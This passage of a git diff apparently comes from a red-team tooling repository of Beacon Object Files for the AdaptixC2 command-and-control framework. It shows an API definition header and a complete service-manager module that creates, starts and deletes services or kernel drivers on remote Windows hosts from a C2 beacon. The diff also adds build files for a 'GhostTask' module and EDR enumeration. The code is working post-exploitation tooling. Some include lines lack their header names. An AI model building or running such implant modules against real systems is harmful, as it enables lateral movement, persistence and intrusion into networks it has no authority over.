USER32$SetForegroundWindow SetForegroundWindow +#define USER32$UpdateWindow UpdateWindow +#define USER32$ShowWindow ShowWindow +#define USER32$UnregisterClassW UnregisterClassW +#define USER32$CreateWindowExW CreateWindowExW +#define USER32$GetSystemMetrics GetSystemMetrics + +//SSPICLI +#define SSPICLI$EnumerateSecurityPackagesA EnumerateSecurityPackagesA +#define SSPICLI$FreeContextBuffer FreeContextBuffer + +//SECUR32 +#define SECUR32$GetUserNameExA GetUserNameExA +#define SECUR32$GetUserNameExW GetUserNameExW +#define SECUR32$GetComputerObjectNameW GetComputerObjectNameW +#define SECUR32$FreeCredentialsHandle FreeCredentialsHandle +#define SECUR32$AcquireCredentialsHandleA AcquireCredentialsHandleA +#define SECUR32$InitializeSecurityContextA InitializeSecurityContextA +#define SECUR32$InitializeSecurityContextW InitializeSecurityContextW +#define SECUR32$AcceptSecurityContext AcceptSecurityContext +#define SECUR32$DeleteSecurityContext DeleteSecurityContext +#define SECUR32$AcquireCredentialsHandleA AcquireCredentialsHandleA +#define SECUR32$AcceptSecurityContext AcceptSecurityContext +#define SECUR32$LsaConnectUntrusted LsaConnectUntrusted +#define SECUR32$LsaDeregisterLogonProcess LsaDeregisterLogonProcess +#define SECUR32$LsaFreeReturnBuffer LsaFreeReturnBuffer +#define SECUR32$LsaLookupAuthenticationPackage LsaLookupAuthenticationPackage +#define SECUR32$LsaCallAuthenticationPackage LsaCallAuthenticationPackage + +//VERSION +#define VERSION$GetFileVersionInfoA GetFileVersionInfoA +#define VERSION$GetFileVersionInfoW GetFileVersionInfoW +#define VERSION$GetFileVersionInfoSizeA GetFileVersionInfoSizeA +#define VERSION$GetFileVersionInfoSizeW GetFileVersionInfoSizeW +#define VERSION$VerQueryValueA VerQueryValueA +#define VERSION$VerQueryValueW VerQueryValueW + +//ADVAPI32 +#define ADVAPI32$LogonUserA LogonUserA +#define ADVAPI32$LogonUserW LogonUserW +#define ADVAPI32$DuplicateTokenEx DuplicateTokenEx +#define ADVAPI32$AdjustTokenPrivileges AdjustTokenPrivileges +#define ADVAPI32$CreateProcessAsUserW CreateProcessAsUserW +#define ADVAPI32$CreateProcessWithLogonW CreateProcessWithLogonW +#define ADVAPI32$CreateProcessWithTokenW CreateProcessWithTokenW +#define ADVAPI32$OpenProcessToken OpenProcessToken +#define ADVAPI32$OpenThreadToken OpenThreadToken +#define ADVAPI32$GetTokenInformation GetTokenInformation +#define ADVAPI32$ConvertSidToStringSidA ConvertSidToStringSidA +#define ADVAPI32$ConvertSidToStringSidW ConvertSidToStringSidW +#define ADVAPI32$LookupAccountSidA LookupAccountSidA +#define ADVAPI32$LookupAccountSidW LookupAccountSidW +#define ADVAPI32$LookupPrivilegeNameA LookupPrivilegeNameA +#define ADVAPI32$LookupPrivilegeDisplayNameA LookupPrivilegeDisplayNameA +#define ADVAPI32$LookupPrivilegeValueA LookupPrivilegeValueA +#define ADVAPI32$GetFileSecurityW GetFileSecurityW +#define ADVAPI32$MapGenericMask MapGenericMask +#define ADVAPI32$LsaNtStatusToWinError LsaNtStatusToWinError +#define ADVAPI32$InitializeSecurityDescriptor InitializeSecurityDescriptor +#define ADVAPI32$GetSecurityDescriptorOwner GetSecurityDescriptorOwner +#define ADVAPI32$SetSecurityDescriptorDacl SetSecurityDescriptorDacl +#define ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW ConvertSecurityDescriptorToStringSecurityDescriptorW +#define ADVAPI32$GetSecurityDescriptorDacl GetSecurityDescriptorDacl +#define ADVAPI32$GetAclInformation GetAclInformation +#define ADVAPI32$GetAce GetAce +#define ADVAPI32$OpenSCManagerA OpenSCManagerA +#define ADVAPI32$OpenSCManagerW OpenSCManagerW +#define ADVAPI32$OpenServiceA OpenServiceA +#define ADVAPI32$OpenServiceW OpenServiceW +#define ADVAPI32$CreateServiceA CreateServiceA +#define ADVAPI32$QueryServiceStatus QueryServiceStatus +#define ADVAPI32$QueryServiceConfigA QueryServiceConfigA +#define ADVAPI32$CloseServiceHandle CloseServiceHandle +#define ADVAPI32$EnumServicesStatusExA EnumServicesStatusExA +#define ADVAPI32$EnumServicesStatusExW EnumServicesStatusExW +#define ADVAPI32$EnumDependentServicesA EnumDependentServicesA +#define ADVAPI32$QueryServiceStatusEx QueryServiceStatusEx +#define ADVAPI32$QueryServiceConfig2A QueryServiceConfig2A +#define ADVAPI32$ChangeServiceConfig2A ChangeServiceConfig2A +#define ADVAPI32$ChangeServiceConfigA ChangeServiceConfigA +#define ADVAPI32$StartServiceA StartServiceA +#define ADVAPI32$ControlService ControlService +#define ADVAPI32$DeleteService DeleteService +#define ADVAPI32$RegCloseKey RegCloseKey +#define ADVAPI32$RegConnectRegistryA RegConnectRegistryA +#define ADVAPI32$RegCopyTreeA RegCopyTreeA +#define ADVAPI32$RegCreateKeyA RegCreateKeyA +#define ADVAPI32$RegCreateKeyExA RegCreateKeyExA +#define ADVAPI32$RegCreateKeyExW RegCreateKeyExW +#define ADVAPI32$RegDeleteKeyExA RegDeleteKeyExA +#define ADVAPI32$RegDeleteKeyExW RegDeleteKeyExW +#define ADVAPI32$RegDeleteKeyValueA RegDeleteKeyValueA +#define ADVAPI32$RegDeleteKeyValueW RegDeleteKeyValueW +#define ADVAPI32$RegDeleteTreeA RegDeleteTreeA +#define ADVAPI32$RegDeleteTreeW RegDeleteTreeW +#define ADVAPI32$RegDeleteValueA RegDeleteValueA +#define ADVAPI32$RegDeleteValueW RegDeleteValueW +#define ADVAPI32$RegEnumValueA RegEnumValueA +#define ADVAPI32$RegEnumKeyExA RegEnumKeyExA +#define ADVAPI32$RegOpenKeyA RegOpenKeyA +#define ADVAPI32$RegOpenKeyExA RegOpenKeyExA +#define ADVAPI32$RegOpenKeyExW RegOpenKeyExW +#define ADVAPI32$RegQueryInfoKeyA RegQueryInfoKeyA +#define ADVAPI32$RegQueryValueExA RegQueryValueExA +#define ADVAPI32$RegQueryValueExW RegQueryValueExW +#define ADVAPI32$RegSaveKeyExA RegSaveKeyExA +#define ADVAPI32$RegSetValueExA RegSetValueExA +#define ADVAPI32$RegSetValueExW RegSetValueExW +#define ADVAPI32$InitiateSystemShutdownExA InitiateSystemShutdownExA + +//NTDLL +#define NTDLL$NtCreateFile NtCreateFile +#define NTDLL$NtClose NtClose +#define NTDLL$NtRenameKey NtRenameKey +#define NTDLL$NtQueueApcThread NtQueueApcThread + +//IMAGEHLP +#define IMAGEHLP$ImageEnumerateCertificates ImageEnumerateCertificates +#define IMAGEHLP$ImageGetCertificateHeader ImageGetCertificateHeader +#define IMAGEHLP$ImageGetCertificateData ImageGetCertificateData + +//CRYPT32 +#define CRYPT32$CryptVerifyMessageSignature CryptVerifyMessageSignature +#define CRYPT32$CertGetNameStringW CertGetNameStringW +#define CRYPT32$CertFreeCertificateContext CertFreeCertificateContext +#define CRYPT32$CryptUnprotectData CryptUnprotectData +#define CRYPT32$CryptEncodeObjectEx CryptEncodeObjectEx +#define CRYPT32$CryptBinaryToStringW CryptBinaryToStringW + +//DNSAPI +#define DNSAPI$DnsQuery_A DnsQuery_A +#define DNSAPI$DnsFree DnsFree +#define DNSAPI$DnsGetCacheDataTable DnsGetCacheDataTable + +//OLE32 +#define OLE32$CoInitializeEx CoInitializeEx +#define OLE32$CoUninitialize CoUninitialize +#define OLE32$CoInitializeSecurity CoInitializeSecurity +#define OLE32$CoCreateInstance CoCreateInstance +#define OLE32$CLSIDFromString CLSIDFromString +#define OLE32$IIDFromString IIDFromString +#define OLE32$StringFromGUID2 StringFromGUID2 +#define OLE32$CoSetProxyBlanket CoSetProxyBlanket +#define OLE32$CoTaskMemAlloc CoTaskMemAlloc +#define OLE32$CoTaskMemFree CoTaskMemFree + +//OLEAUT32 +#define OLEAUT32$SysAllocString SysAllocString +#define OLEAUT32$SysReAllocString SysReAllocString +#define OLEAUT32$SysFreeString SysFreeString +#define OLEAUT32$SysStringLen SysStringLen +#define OLEAUT32$VariantInit VariantInit +#define OLEAUT32$VariantClear VariantClear +#define OLEAUT32$SysAddRefString SysAddRefString +#define OLEAUT32$VariantChangeType VariantChangeType +#define OLEAUT32$VarFormatDateTime VarFormatDateTime +#define OLEAUT32$SafeArrayDestroy SafeArrayDestroy +#define OLEAUT32$SafeArrayLock SafeArrayLock +#define OLEAUT32$SafeArrayGetLBound SafeArrayGetLBound +#define OLEAUT32$SafeArrayGetUBound SafeArrayGetUBound +#define OLEAUT32$SafeArrayGetElement SafeArrayGetElement +#define OLEAUT32$SafeArrayGetElemsize SafeArrayGetElemsize + +//DBGHELP +#define DBGHELP$MiniDumpWriteDump MiniDumpWriteDump + +//WLDAP32 +#define WLDAP32$ldap_init ldap_init +#define WLDAP32$ldap_bind_s ldap_bind_s +#define WLDAP32$ldap_search_s ldap_search_s +#define WLDAP32$ldap_count_entries ldap_count_entries +#define WLDAP32$ldap_get_values_lenA ldap_get_values_lenA +#define WLDAP32$ldap_value_free_len ldap_value_free_len +#define WLDAP32$ldap_first_entry ldap_first_entry +#define WLDAP32$ldap_next_entry ldap_next_entry +#define WLDAP32$ldap_first_attribute ldap_first_attribute +#define WLDAP32$ldap_count_values ldap_count_values +#define WLDAP32$ldap_get_values ldap_get_values +#define WLDAP32$ldap_value_free ldap_value_free +#define WLDAP32$ldap_next_attribute ldap_next_attribute +#define WLDAP32$ber_free ber_free +#define WLDAP32$ldap_memfree ldap_memfree +#define WLDAP32$ldap_unbind ldap_unbind +#define WLDAP32$ldap_unbind_s ldap_unbind_s +#define WLDAP32$ldap_msgfree ldap_msgfree + +//RPCRT4 +#define RPCRT4$UuidToStringA UuidToStringA +#define RPCRT4$RpcStringFreeA RpcStringFreeA + +//PSAPI +#define PSAPI$EnumProcesses EnumProcesses +#define PSAPI$EnumProcessModules EnumProcessModules +#define PSAPI$GetModuleBaseNameW GetModuleBaseNameW + +// GDI32 +#define GDI32$CreateFontW CreateFontW +#define GDI32$DeleteObject DeleteObject +#define GDI32$SelectObject SelectObject +#define GDI32$SetTextColor SetTextColor +#define GDI32$SetBkColor SetBkColor +#define GDI32$SetBkMode SetBkMode +#define GDI32$CreateSolidBrush CreateSolidBrush + +//BEACON +#define BeaconPrintf(x, y, ...) printf(y, ##__VA_ARGS__) +#define internal_printf printf +#endif diff --git a/SAL-BOF/sc_bof/src/svcmgr_bof.c b/SAL-BOF/sc_bof/src/svcmgr_bof.c new file mode 100644 index 0000000..def4990 --- /dev/null +++ b/SAL-BOF/sc_bof/src/svcmgr_bof.c @@ -0,0 +1,464 @@ +/* + * svcmgr_bof.c — Service Manager BOF para AdaptixC2 + * + * Operaciones: list, query, create, delete, start, stop + * Soporte: local y remoto via SCM (SMB/RPC) + * Tipos: Win32 y Kernel Driver + */ + +#include + +void printoutput(BOOL done); +#define DYNAMIC_LIB_COUNT 1 +#include "beacon.h" +#include "bofdefs.h" +#include "base.c" + +/* ── ADVAPI32 — SCM imports ───────────────────────────────── */ +DECLSPEC_IMPORT SC_HANDLE WINAPI ADVAPI32$OpenSCManagerW( + LPCWSTR lpMachineName, LPCWSTR lpDatabaseName, DWORD dwDesiredAccess); + +DECLSPEC_IMPORT SC_HANDLE WINAPI ADVAPI32$OpenServiceW( + SC_HANDLE hSCManager, LPCWSTR lpServiceName, DWORD dwDesiredAccess); + +DECLSPEC_IMPORT SC_HANDLE WINAPI ADVAPI32$CreateServiceW( + SC_HANDLE hSCManager, LPCWSTR lpServiceName, LPCWSTR lpDisplayName, + DWORD dwDesiredAccess, DWORD dwServiceType, DWORD dwStartType, + DWORD dwErrorControl, LPCWSTR lpBinaryPathName, + LPCWSTR lpLoadOrderGroup, LPDWORD lpdwTagId, + LPCWSTR lpDependencies, LPCWSTR lpServiceStartName, LPCWSTR lpPassword); + +DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$StartServiceW( + SC_HANDLE hService, DWORD dwNumServiceArgs, LPCWSTR *lpServiceArgVectors); + +DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$ControlService( + SC_HANDLE hService, DWORD dwControl, LPSERVICE_STATUS lpServiceStatus); + +DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$DeleteService(SC_HANDLE hService); + +DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CloseServiceHandle(SC_HANDLE hSCObject); + +DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$QueryServiceStatusEx( + SC_HANDLE hService, SC_STATUS_TYPE InfoLevel, + LPBYTE lpBuffer, DWORD cbBufSize, LPDWORD pcbBytesNeeded); + +DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$QueryServiceConfigW( + SC_HANDLE hService, LPQUERY_SERVICE_CONFIGW lpServiceConfig, + DWORD cbBufSize, LPDWORD pcbBytesNeeded); + +DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$EnumServicesStatusExW( + SC_HANDLE hSCManager, SC_ENUM_TYPE InfoLevel, + DWORD dwServiceType, DWORD dwServiceState, + LPBYTE lpServices, DWORD cbBufSize, + LPDWORD pcbBytesNeeded, LPDWORD lpServicesReturned, + LPDWORD lpResumeHandle, LPCWSTR pszGroupName); + +/* ── Helpers ──────────────────────────────────────────────── */ +#define HEAP_ZERO 0x00000008 + +static void mb_to_wc(const char *src, wchar_t *dst, int maxwc) +{ + KERNEL32$MultiByteToWideChar(CP_UTF8, 0, src, -1, dst, maxwc); +} + +static void wc_to_mb(const wchar_t *src, char *dst, int maxmb) +{ + KERNEL32$WideCharToMultiByte(CP_UTF8, 0, src, -1, dst, maxmb, NULL, NULL); +} + +/* strcmp simple sin depender de MSVCRT */ +static int my_strcmp(const char *a, const char *b) +{ + while (*a && *b && *a == *b) { a++; b++; } + return (unsigned char)*a - (unsigned char)*b; +} + +/* strcasecmp simple (solo ASCII) */ +static int my_stricmp(const char *a, const char *b) +{ + while (*a && *b) { + char ca = *a >= 'A' && *a <= 'Z' ? *a + 32 : *a; + char cb = *b >= 'A' && *b <= 'Z' ? *b + 32 : *b; + if (ca != cb) return (unsigned char)ca - (unsigned char)cb; + a++; b++; + } + return (unsigned char)*a - (unsigned char)*b; +} + +static const char *svc_type_str(DWORD t) +{ + if (t & SERVICE_KERNEL_DRIVER) return "KERNEL_DRIVER"; + if (t & SERVICE_FILE_SYSTEM_DRIVER) return "FS_DRIVER"; + if (t & SERVICE_WIN32_OWN_PROCESS) return "WIN32_OWN"; + if (t & SERVICE_WIN32_SHARE_PROCESS) return "WIN32_SHARE"; + return "UNKNOWN"; +} + +static const char *svc_start_str(DWORD s) +{ + switch (s) { + case SERVICE_BOOT_START: return "BOOT"; + case SERVICE_SYSTEM_START: return "SYSTEM"; + case SERVICE_AUTO_START: return "AUTO"; + case SERVICE_DEMAND_START: return "DEMAND"; + case SERVICE_DISABLED: return "DISABLED"; + default: return "UNKNOWN"; + } +} + +static const char *svc_state_str(DWORD s) +{ + switch (s) { + case SERVICE_STOPPED: return "STOPPED"; + case SERVICE_START_PENDING: return "START_PENDING"; + case SERVICE_STOP_PENDING: return "STOP_PENDING"; + case SERVICE_RUNNING: return "RUNNING"; + case SERVICE_CONTINUE_PENDING: return "CONTINUE_PENDING"; + case SERVICE_PAUSE_PENDING: return "PAUSE_PENDING"; + case SERVICE_PAUSED: return "PAUSED"; + default: return "UNKNOWN"; + } +} + +/* ── Operaciones ──────────────────────────────────────────── */ + +static void op_list(SC_HANDLE hScm, const char *target, DWORD type_filter) +{ + HANDLE hHeap = KERNEL32$GetProcessHeap(); + DWORD dwBytesNeeded = 0, dwReturned = 0, dwResume = 0; + + ADVAPI32$EnumServicesStatusExW( + hScm, SC_ENUM_PROCESS_INFO, + type_filter, SERVICE_STATE_ALL, + NULL, 0, &dwBytesNeeded, &dwReturned, &dwResume, NULL); + + if (dwBytesNeeded == 0) { + internal_printf("[-] EnumServicesStatusExW sizing failed: %lu\n", + KERNEL32$GetLastError()); + return; + } + + LPBYTE buf = (LPBYTE)KERNEL32$HeapAlloc(hHeap, HEAP_ZERO, dwBytesNeeded + 4096); + if (!buf) { internal_printf("[-] HeapAlloc failed\n"); return; } + + dwResume = 0; dwReturned = 0; + if (!ADVAPI32$EnumServicesStatusExW( + hScm, SC_ENUM_PROCESS_INFO, + type_filter, SERVICE_STATE_ALL, + buf, dwBytesNeeded + 4096, + &dwBytesNeeded, &dwReturned, &dwResume, NULL)) + { + internal_printf("[-] EnumServicesStatusExW failed: %lu\n", + KERNEL32$GetLastError()); + KERNEL32$HeapFree(hHeap, 0, buf); + return; + } + + internal_printf("=== Services on [%s] - %lu entries ===\n\n", + target, (unsigned long)dwReturned); + internal_printf("%-40s %-14s %-12s %s\n", + "NAME", "STATE", "TYPE", "DISPLAY NAME"); + internal_printf("%-40s %-14s %-12s %s\n", + "----------------------------------------", + "--------------", "------------", + "-----------------------------------"); + + ENUM_SERVICE_STATUS_PROCESSW *pEntry = (ENUM_SERVICE_STATUS_PROCESSW *)buf; + for (DWORD i = 0; i < dwReturned; i++) { + char name[256] = {0}, disp[256] = {0}; + wc_to_mb(pEntry[i].lpServiceName, name, sizeof(name)); + wc_to_mb(pEntry[i].lpDisplayName, disp, sizeof(disp)); + DWORD state = pEntry[i].ServiceStatusProcess.dwCurrentState; + DWORD type = pEntry[i].ServiceStatusProcess.dwServiceType; + internal_printf("%-40s %-14s %-12s %s\n", + name, svc_state_str(state), svc_type_str(type), disp); + } + internal_printf("\nTotal: %lu services\n", (unsigned long)dwReturned); + KERNEL32$HeapFree(hHeap, 0, buf); +} + +static void op_query(SC_HANDLE hScm, const char *svc_name_mb) +{ + wchar_t svc_w[256] = {0}; + mb_to_wc(svc_name_mb, svc_w, 256); + + SC_HANDLE hSvc = ADVAPI32$OpenServiceW(hScm, svc_w, + SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG); + if (!hSvc) { + internal_printf("[-] OpenServiceW('%s') failed: %lu\n", + svc_name_mb, KERNEL32$GetLastError()); + return; + } + + SERVICE_STATUS_PROCESS ssp; + MSVCRT$memset(&ssp, 0, sizeof(ssp)); + DWORD dwNeeded = 0; + ADVAPI32$QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO, + (LPBYTE)&ssp, sizeof(ssp), &dwNeeded); + + HANDLE hHeap = KERNEL32$GetProcessHeap(); + ADVAPI32$QueryServiceConfigW(hSvc, NULL, 0, &dwNeeded); + LPQUERY_SERVICE_CONFIGW pCfg = (LPQUERY_SERVICE_CONFIGW) + KERNEL32$HeapAlloc(hHeap, HEAP_ZERO, dwNeeded + 512); + + char bin_path[512] = {0}, display[256] = {0}, start_name[256] = {0}; + if (pCfg && ADVAPI32$QueryServiceConfigW(hSvc, pCfg, dwNeeded + 512, &dwNeeded)) { + if (pCfg->lpBinaryPathName) wc_to_mb(pCfg->lpBinaryPathName, bin_path, sizeof(bin_path)); + if (pCfg->lpDisplayName) wc_to_mb(pCfg->lpDisplayName, display, sizeof(display)); + if (pCfg->lpServiceStartName) wc_to_mb(pCfg->lpServiceStartName, start_name, sizeof(start_name)); + } + + internal_printf("=== Service: %s ===\n", svc_name_mb); + internal_printf(" Display Name : %s\n", display); + internal_printf(" State : %s (PID: %lu)\n", + svc_state_str(ssp.dwCurrentState), (unsigned long)ssp.dwProcessId); + internal_printf(" Type : %s\n", svc_type_str(ssp.dwServiceType)); + if (pCfg) + internal_printf(" Start Type : %s\n", svc_start_str(pCfg->dwStartType)); + internal_printf(" Binary Path : %s\n", bin_path); + internal_printf(" Run As : %s\n", start_name[0] ? start_name : "LocalSystem"); + + if (pCfg) KERNEL32$HeapFree(hHeap, 0, pCfg); + ADVAPI32$CloseServiceHandle(hSvc); +} + +static void op_create(SC_HANDLE hScm, + const char *svc_name_mb, const char *disp_name_mb, + const char *bin_path_mb, DWORD svc_type, DWORD start_type) +{ + wchar_t svc_w[256] = {0}; + wchar_t disp_w[256] = {0}; + wchar_t bin_w[512] = {0}; + + mb_to_wc(svc_name_mb, svc_w, 256); + mb_to_wc(disp_name_mb[0] ? disp_name_mb : svc_name_mb, disp_w, 256); + mb_to_wc(bin_path_mb, bin_w, 512); + + SC_HANDLE hSvc = ADVAPI32$CreateServiceW( + hScm, + svc_w, disp_w, + SERVICE_ALL_ACCESS, + svc_type, start_type, + SERVICE_ERROR_NORMAL, + bin_w, + NULL, NULL, NULL, NULL, NULL); + + if (!hSvc) { + internal_printf("[-] CreateServiceW failed: %lu\n", KERNEL32$GetLastError()); + return; + } + + internal_printf("[+] Service '%s' created successfully.\n", svc_name_mb); + internal_printf(" Display : %s\n", disp_name_mb[0] ? disp_name_mb : svc_name_mb); + internal_printf(" Type : %s\n", svc_type_str(svc_type)); + internal_printf(" Start : %s\n", svc_start_str(start_type)); + internal_printf(" Binary : %s\n", bin_path_mb); + ADVAPI32$CloseServiceHandle(hSvc); +} + +static void op_delete(SC_HANDLE hScm, const char *svc_name_mb) +{ + wchar_t svc_w[256] = {0}; + mb_to_wc(svc_name_mb, svc_w, 256); + + SC_HANDLE hSvc = ADVAPI32$OpenServiceW(hScm, svc_w, + DELETE | SERVICE_STOP | SERVICE_QUERY_STATUS); + if (!hSvc) { + internal_printf("[-] OpenServiceW('%s') failed: %lu\n", + svc_name_mb, KERNEL32$GetLastError()); + return; + } + + SERVICE_STATUS ss; + MSVCRT$memset(&ss, 0, sizeof(ss)); + ADVAPI32$ControlService(hSvc, SERVICE_CONTROL_STOP, &ss); + + if (!ADVAPI32$DeleteService(hSvc)) + internal_printf("[-] DeleteService failed: %lu\n", KERNEL32$GetLastError()); + else + internal_printf("[+] Service '%s' deleted (effective on next restart).\n", svc_name_mb); + + ADVAPI32$CloseServiceHandle(hSvc); +} + +static void op_start(SC_HANDLE hScm, const char *svc_name_mb) +{ + wchar_t svc_w[256] = {0}; + mb_to_wc(svc_name_mb, svc_w, 256); + + SC_HANDLE hSvc = ADVAPI32$OpenServiceW(hScm, svc_w, + SERVICE_START | SERVICE_QUERY_STATUS); + if (!hSvc) { + internal_printf("[-] OpenServiceW('%s') failed: %lu\n", + svc_name_mb, KERNEL32$GetLastError()); + return; + } + + if (!ADVAPI32$StartServiceW(hSvc, 0, NULL)) { + DWORD err = KERNEL32$GetLastError(); + if (err == ERROR_SERVICE_ALREADY_RUNNING) + internal_printf("[~] Service '%s' is already running.\n", svc_name_mb); + else + internal_printf("[-] StartServiceW failed: %lu\n", err); + } else { + internal_printf("[+] Service '%s' start requested...\n", svc_name_mb); + SERVICE_STATUS_PROCESS ssp; + MSVCRT$memset(&ssp, 0, sizeof(ssp)); + DWORD dwNeeded = 0; + for (int i = 0; i < 10; i++) { + ADVAPI32$QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO, + (LPBYTE)&ssp, sizeof(ssp), &dwNeeded); + if (ssp.dwCurrentState == SERVICE_RUNNING) break; + KERNEL32$WaitForSingleObject((HANDLE)(LONG_PTR)-1, 500); + } + internal_printf("[+] State: %s (PID: %lu)\n", + svc_state_str(ssp.dwCurrentState), (unsigned long)ssp.dwProcessId); + } + ADVAPI32$CloseServiceHandle(hSvc); +} + +static void op_stop(SC_HANDLE hScm, const char *svc_name_mb) +{ + wchar_t svc_w[256] = {0}; + mb_to_wc(svc_name_mb, svc_w, 256); + + SC_HANDLE hSvc = ADVAPI32$OpenServiceW(hScm, svc_w, + SERVICE_STOP | SERVICE_QUERY_STATUS); + if (!hSvc) { + internal_printf("[-] OpenServiceW('%s') failed: %lu\n", + svc_name_mb, KERNEL32$GetLastError()); + return; + } + + SERVICE_STATUS ss; + MSVCRT$memset(&ss, 0, sizeof(ss)); + if (!ADVAPI32$ControlService(hSvc, SERVICE_CONTROL_STOP, &ss)) { + DWORD err = KERNEL32$GetLastError(); + if (err == ERROR_SERVICE_NOT_ACTIVE) + internal_printf("[~] Service '%s' is not running.\n", svc_name_mb); + else + internal_printf("[-] ControlService(STOP) failed: %lu\n", err); + } else { + internal_printf("[+] Service '%s' stop requested...\n", svc_name_mb); + SERVICE_STATUS_PROCESS ssp; + MSVCRT$memset(&ssp, 0, sizeof(ssp)); + DWORD dwNeeded = 0; + for (int i = 0; i < 10; i++) { + ADVAPI32$QueryServiceStatusEx(hSvc, SC_STATUS_PROCESS_INFO, + (LPBYTE)&ssp, sizeof(ssp), &dwNeeded); + if (ssp.dwCurrentState == SERVICE_STOPPED) break; + KERNEL32$WaitForSingleObject((HANDLE)(LONG_PTR)-1, 500); + } + internal_printf("[+] State: %s\n", svc_state_str(ssp.dwCurrentState)); + } + ADVAPI32$CloseServiceHandle(hSvc); +} + +/* ── Entry Point ──────────────────────────────────────────── */ +void go(char *args, int alen) +{ + bofstart(); + + datap parser; + BeaconDataParse(&parser, args, alen); + + char *op = BeaconDataExtract(&parser, NULL); + char *target = BeaconDataExtract(&parser, NULL); + + if (!op || !target) { + internal_printf("[-] Missing arguments.\n"); + printoutput(TRUE); + bofstop(); + return; + } + + /* "localhost" -> NULL = SCM local */ + wchar_t target_w[256] = {0}; + wchar_t *pTarget = NULL; + if (my_stricmp(target, "localhost") != 0) { + mb_to_wc(target, target_w, 256); + pTarget = target_w; + } + + /* Para create necesitamos SC_MANAGER_CREATE_SERVICE */ + DWORD scm_access = SC_MANAGER_ENUMERATE_SERVICE | SC_MANAGER_CONNECT; + if (op[0] == 'c' && op[1] == 'r') scm_access |= SC_MANAGER_CREATE_SERVICE; + + SC_HANDLE hScm = ADVAPI32$OpenSCManagerW(pTarget, NULL, scm_access); + if (!hScm) { + internal_printf("[-] OpenSCManagerW('%s') failed: %lu\n", + target, KERNEL32$GetLastError()); + printoutput(TRUE); + bofstop(); + return; + } + + /* Despacho */ + if (my_strcmp(op, "list") == 0) { + char *filter = BeaconDataExtract(&parser, NULL); + DWORD type_filter = SERVICE_WIN32 | SERVICE_DRIVER; + if (filter) { + if (filter[0] == 'w' || filter[0] == 'W') type_filter = SERVICE_WIN32; + else if (filter[0] == 'd' || filter[0] == 'D') type_filter = SERVICE_DRIVER; + } + op_list(hScm, target, type_filter); + } + else if (my_strcmp(op, "query") == 0) { + char *svc = BeaconDataExtract(&parser, NULL); + if (!svc) { internal_printf("[-] Missing service name.\n"); goto done; } + op_query(hScm, svc); + } + else if (my_strcmp(op, "create") == 0) { + char *svc_name = BeaconDataExtract(&parser, NULL); + char *disp_name = BeaconDataExtract(&parser, NULL); + char *bin_path = BeaconDataExtract(&parser, NULL); + char *type_str = BeaconDataExtract(&parser, NULL); + char *start_str = BeaconDataExtract(&parser, NULL); + + if (!svc_name || !bin_path) { + internal_printf("[-] Missing svc_name or bin_path.\n"); + goto done; + } + + DWORD svc_type = SERVICE_WIN32_OWN_PROCESS; + DWORD start_type = SERVICE_DEMAND_START; + + if (type_str && (type_str[0] == 'd' || type_str[0] == 'D')) + svc_type = SERVICE_KERNEL_DRIVER; + + if (start_str) { + if (start_str[0] == 'a' || start_str[0] == 'A') start_type = SERVICE_AUTO_START; + else if (start_str[0] == 'b' || start_str[0] == 'B') start_type = SERVICE_BOOT_START; + else if (start_str[0] == 's' || start_str[0] == 'S') start_type = SERVICE_SYSTEM_START; + else if (my_stricmp(start_str, "disabled") == 0) start_type = SERVICE_DISABLED; + } + + op_create(hScm, svc_name, + disp_name ? disp_name : svc_name, + bin_path, svc_type, start_type); + } + else if (my_strcmp(op, "delete") == 0) { + char *svc = BeaconDataExtract(&parser, NULL); + if (!svc) { internal_printf("[-] Missing service name.\n"); goto done; } + op_delete(hScm, svc); + } + else if (my_strcmp(op, "start") == 0) { + char *svc = BeaconDataExtract(&parser, NULL); + if (!svc) { internal_printf("[-] Missing service name.\n"); goto done; } + op_start(hScm, svc); + } + else if (my_strcmp(op, "stop") == 0) { + char *svc = BeaconDataExtract(&parser, NULL); + if (!svc) { internal_printf("[-] Missing service name.\n"); goto done; } + op_stop(hScm, svc); + } + else { + internal_printf("[-] Unknown operation: '%s'\n", op); + internal_printf(" Valid ops: list | query | create | delete | start | stop\n"); + } + +done: + ADVAPI32$CloseServiceHandle(hScm); + printoutput(TRUE); + bofstop(); +} diff --git a/SAR-BOF/Makefile b/SAR-BOF/Makefile index 298d446..72f90b7 100644 --- a/SAR-BOF/Makefile +++ b/SAR-BOF/Makefile @@ -24,6 +24,9 @@ bof: clean @$(MAKE) --no-print-directory -C EdrEnum-BOF @cp EdrEnum-BOF/_bin/*.o _bin/ + @$(MAKE) --no-print-directory -C ghost_task + @cp ghost_task/_bin/*.o _bin/ + clean: - @(rm -rf _bin) \ No newline at end of file + @(rm -rf _bin ghost_task/_bin EdrEnum-BOF/_bin) diff --git a/SAR-BOF/ghost_task/Makefile b/SAR-BOF/ghost_task/Makefile new file mode 100644 index 0000000..9e66bed --- /dev/null +++ b/SAR-BOF/ghost_task/Makefile @@ -0,0 +1,17 @@ +CC64 = x86_64-w64-mingw32-gcc +CC86 = i686-w64-mingw32-gcc +STRIP64 = x86_64-w64-mingw32-strip --strip-unneeded +STRIP86 = i686-w64-mingw32-strip --strip-unneeded + +CFLAGS = -w -Wno-incompatible-pointer-types -Os -DBOF -masm=intel -I src + +all: bof + +bof: clean + @(mkdir _bin 2>/dev/null) && echo 'creating _bin directory' || echo '_bin directory exists' + + @($(CC64) $(CFLAGS) -c src/entry.c -o _bin/GhostTask.x64.o && $(STRIP64) _bin/GhostTask.x64.o) && echo '[+] GhostTask x64' || echo '[!] GhostTask x64 FAILED' + @($(CC86) $(CFLAGS) -c src/entry.c -o _bin/GhostTask.x86.o && $(STRIP86) _bin/GhostTask.x86.o) && echo '[+] GhostTask x86' || echo '[!] GhostTask x86 FAILED' + +clean: + @(rm -rf _bin) diff --git a/SAR-BOF/ghost_task/src/base.c b/SAR-BOF/ghost_task/src/base.c new file mode 100644 index 0000000..3e31d73 --- /dev/null +++ b/SAR-BOF/ghost_task/src/base.c @@ -0,0 +1,207 @@ +#include 